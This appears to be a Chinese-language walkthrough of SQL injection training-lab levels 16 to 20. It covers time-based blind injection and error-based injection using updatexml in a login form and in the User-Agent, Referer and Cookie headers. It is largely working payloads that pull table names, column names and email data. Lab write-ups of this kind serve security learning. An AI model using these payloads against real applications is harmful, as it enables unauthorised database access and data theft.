第16关 时间盲注
随便提交几次,发现没有回显,考虑时间盲注
闭合符号
 
用户名随意,时间用了26s(用了or连接)
 
 用户名正确,用了2s(用了and连接)
 
 第17关 报错注入
从密码入手
 
 判断闭合
 
在已知用户名admin下,进行注入
 有回显,使用报错注入
 
 爆表名
uname=admin&passwd=' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&submit=Submit
爆字段
uname=admin&passwd=' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#&submit=Submit
uname=admin&passwd=' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails),0x7e),1)#&submit=Submit
sql注入18 user-agent注入
这题注入的前提是账户名和密码要正确

 使用报错注入
两个都可以用
 ' and updatexml(1,concat(0x7e,(database()),0x7e),1),1,1)#   
 ' ,1, updatexml(1,concat(0x7e,(database()),0x7e),1),1,1)#   
注意后面两个1,将ip和uname代替了
 

 sql注入19-referer注入
 和18关相差不大,只是注入位置在referer
 
 sql注入20 cookie注入

 
 
uname=' union select 1,2,(updatexml(1,concat(0x7e,database(),0x7e),1))# ;
或者
uname=' and updatexml(1,concat(0x7e,database(),0x7e),1)# ;

 










